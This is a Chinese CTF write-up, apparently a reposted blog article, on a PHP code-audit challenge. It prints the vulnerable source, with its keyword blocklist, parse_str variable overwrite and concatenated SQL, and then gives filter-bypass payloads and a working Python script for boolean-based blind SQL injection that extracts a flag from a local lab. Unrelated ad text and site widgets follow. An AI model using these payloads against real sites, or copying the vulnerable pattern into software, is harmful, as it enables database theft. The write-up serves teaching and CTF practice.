php基于错误的盲注,从一道CTF代码审计题看SQL盲注

文章难易度【★★★】

文章阅读点/知识点: PHP代码审计、MySQL盲注、CTF技巧

文章作者: 0h1in9e

本文参与i春秋社区原创文章奖励计划,未经许可禁止转载0x01前言

笔者在上个月参加一个CTF比赛的时候,遇到了一个PHP代码审计类的题目。具体地来说是关于一道SQL盲注类的题目。做了这道题之后,对SQL盲注有了更深入的了解,今天给大家分享下这道CTF题目以及解法,以及透过这个题目聊聊盲注。

0x02关于CTF题目

打开题目链接,如下图所示。

6d141dc8784320d8454171820e1bdd57.png

从图中可以看出,一个表单,没有其他的东西。到这里,一般CTF套路是源码泄露,这里猜测也是。利用扫描脚本扫描到泄露文件为/index.php~

从而get到index.php 文件源代码如下:

[PHP] 纯文本查看 复制代码<?php

error_reporting(0);

$token="e00cf25ad42683b3df678c61f42c6bda";

foreach($_GET as $key=>$value){

if (is_array($value)){

die("Bad input!");

}

$p="and|union|where|join|sleep|benchmark|if|sleep|benchmark|,| |\'|\"";

if(preg_match("/".$p."/is",$value)==1){

die("inj code!");

}

}

parse_str($_SERVER['QUERY_STRING']);

if($token==md5("admin")){

$link=@mysql_connect("XXXX","XXXX","XXXX");

mysql_select_db("XXXX",$link);

$sql="select * from user where userid = ".$userid;

$query = mysql_query($sql);

if (mysql_num_rows($query) == 1) {

$arr = mysql_fetch_array($query);

if($arr['password'] == $password) {

$sql="select * from info where infoid=".$infoid;

$result=mysql_query($sql);

$arr = mysql_fetch_array($result);

if(empty($arr['content'])){

echo "error sql!";

}else{

echo $arr['content'];

}

}else{

echo "error password!";

}

}else{

echo "error userid!";

}

mysql_close($link);

}else{

echo "Bad token!";

}

?>

web-test

User ID:

Password:

从这里看出,其实就是一道代码审计题目。由于官方题目在比赛结束后就直接关闭了,这里我根据出题人思路在本地搭建一个环境。

0x03 本地题目环境搭建

PHP代码给出来了,只需要修改相应的MySQL连接的地方即可。问题就是数据库需要自己来创建。当时我的解法是通过SQL盲注得到数据库里边flag表中flag字段里的flag值,再根据PHP代码中的相关SQL语句可以知道,数据库中需要有user、info表。

从上述分析来看,就是本地MySQL中创建一个数据库DB,然后向其中加入三个数据表,分别是flag、info、user。

创建SQL语句如下:

[SQL] 纯文本查看 复制代码create DATABASE ctf_01;

use ctf_01;

/* 创建flag表 */

create TABLE flag(

flag varchar(255) not null

);

insert into flag values('flag{XXXX}');

/* 创建info表 */

create TABLE info(

infoid int primary key not null,

content varchar(255) not null

);

insert into info (infoid, content) values(1,'flag is in flag!');

/* 创建user表 */

create TABLE user(

userid int primary key not null,

username varchar(255) not null,

password varchar(255) not null

);

insert info user values(1,'ctf','219d03ad2d752ad2806ea1de18613158');执行以上SQL语句,即可成功创建本地所需的SQL。如下图所示:

eb5c6855e6ec6824e702601cf8931571.png数据库搭建好了,接下来就是部署PHP代码了。这里直接修改mysql链接部分即可。

本地题目搭建成功,接下来就可以来怼本地了。

0x04 解题思路中的盲注技巧

从PHP代码中看出,首先最上边这一部分是一个类似过滤的部分:

[PHP] 纯文本查看 复制代码foreach($_GET as $key=>$value){

if (is_array($value)){

die("Bad input!");

}

$p="and|union|where|join|sleep|benchmark|if|sleep|benchmark|,| |\'|\"";

if(preg_match("/".$p."/is",$value)==1){

die("inj code!");

}

}

常见的SQL注入关键字都被过滤掉了,这里的benchmark、sleep的过滤表示我们不能使用基于时间的SQL盲注了。

下边if开始的部分就是这段代码的关键了。

从图一的“Bad token”,只有$token=md5('admin')才可以。但是明显地变量并不相等。这里注意到这一句:parse_str($_SERVER['QUERY_STRING']);

表示可以直接传递任意变量。这样我们构造链接为:

/index.php?token=21232f297a57a5a743894a0e4a801fc3&userid=1&password=

此时,返回“error password!“。可知userid=1的字段是存在的,userid=0等时返回“error userid!”。

从而可以假设,userid=1为真,0为假。这里就用到了SQL盲注的思路。

我们把userid=1改为userid=0 or 1,空格会触发过滤机制,这里用注释代替即可绕过。

从而为:userid=0/**/or/**/1

为了能使用SQL盲注,我们利用MySQL子查询的特性,将1用一个子查询代替,查询到正确即返回1,错误返回0,从而根据不同的返回来进行盲注。

同时为了规避过滤的关键字,用到一个SQL语法:substr('password' from 1 for 1)='p'

同样地,为了规避过滤中的(')逗号,采用ascii的形式来改写以上语句: ascii('password' from 1 for 1)=112

f7b55dfffccc4ca6ffcd419302e8362b.png

到这里就有两种方案了:

一种是先利用SQL盲注注入出password字段内容,从而进一步看看info表中content字段内容,利用infoid字段继续盲注到flag表中的flag。这里我们知道那里没有flag,但是真实比赛场景下不知道啊,所以我们比赛时采用的这种方案。

另外一种就是直接利用userid字段的注入直接注入出flag。

思路已经很明确了,接下来就是编写脚本了。

首先,需要确定flag内容长度:

/index.php?token=21232f297a57a5a743894a0e4a801fc3&userid=0/**/or/**/length((select/**/flag/**/from/**/flag))=29

54356e740b6af1e2e762f5ad6f4e83f9.png

下面直接给出脚本吧:

[Python] 纯文本查看 复制代码import requests

payload = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@_.{}-'

headers = {

"User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0",

"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",

"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",

"Accept-Encoding": "gzip, deflate"

}

num = 12

strings = ''

for x in range(1,29):

for y in payload:

#strings  = strings + y

url = "http://ctf.sb/2/index.php?userid=1&password=219d03ad2d752ad2806ea1de18613158&token=21232f297a57a5a743894a0e4a801fc3&infoid=0/**/or/**/ascii(substr((select/**/flag/**/from/**/flag)/**/from/**/%d/**/for/**/1))=%d" % (x,ord(y))

try:

response = requests.get(url,headers=headers,timeout=5,verify=False)

if response.content.find('flag is in flag!') != -1:#

strings  = strings + y

print strings

num -= 1

break

except Exception,e:

pass

print 'flag: ',

print strings

脚本执行结果如下图所示:

c13e49ea1a837e8839c71f3faf7e5a91.png

从而通过sql盲注方法解决这道ctf题目。

0x05 SQL盲注简单归纳

相对于SQL注入,盲注条件更为苛刻。往往需要通过页面的不同响应(包括响应不同内容、不同响应时间)。所以常常就有几种盲注方式:

(1)    boolean-based blind(基于布尔的盲注)

(2)   time-based blind (基于时间的盲注)

(3)   error-based (报错注入)

上述的CTF题目中,SQL注入就属于第一种情况,基于布尔的盲注。根据页面返回不同内容来注入SQL,从而获取我们所需要的信息。此外,基于时间的盲注手段,以及种类众多的盲注手法都是平时渗透测试中经常用到的,现在很多CTF代码审计题也很喜欢考些有些绕的SQL注入题目。

0x06 小结

本篇文章主要从一道关于盲注的CTF题目来实际地看看SQL盲注的应用思路。

当然,一篇文章不可能面面俱到,下面几篇文章都写的不错,推荐去看看:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
提供的源码资源涵盖了安卓应用、小程序、Python应用和Java应用等多个领域,每个领域都包含了丰富的实例和项目。这些源码都是基于各自平台的最新技术和标准编写,确保了在对应环境下能够无缝运行。同时,源码中配备了详细的注释和文档,帮助用户快速理解代码结构和实现逻辑。 适用人群: 这些源码资源特别适合大学生群体。无论你是计算机相关专业的学生,还是对其他领域编程感兴趣的学生,这些资源都能为你提供宝贵的学习和实践机会。通过学习和运行这些源码,你可以掌握各平台开发的基础知识,提升编程能力和项目实战经验。 使用场景及目标: 在学习阶段,你可以利用这些源码资源进行课程实践、课外项目或毕业设计。通过分析和运行源码,你将深入了解各平台开发的技术细节和最佳实践,逐步培养起自己的项目开发和问解决能力。此外,在求职或创业过程中,具备跨平台开发能力的大学生将更具竞争力。 其他说明: 为了确保源码资源的可运行性和易用性,特别注意了以下几点:首先,每份源码都提供了详细的运行环境和依赖说明,确保用户能够轻松搭建起开发环境;其次,源码中的注释和文档都非常完善,方便用户快速上手和理解代码;最后,我会定期更新这些源码资源,以适应各平台技术的最新发展和市场需求。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值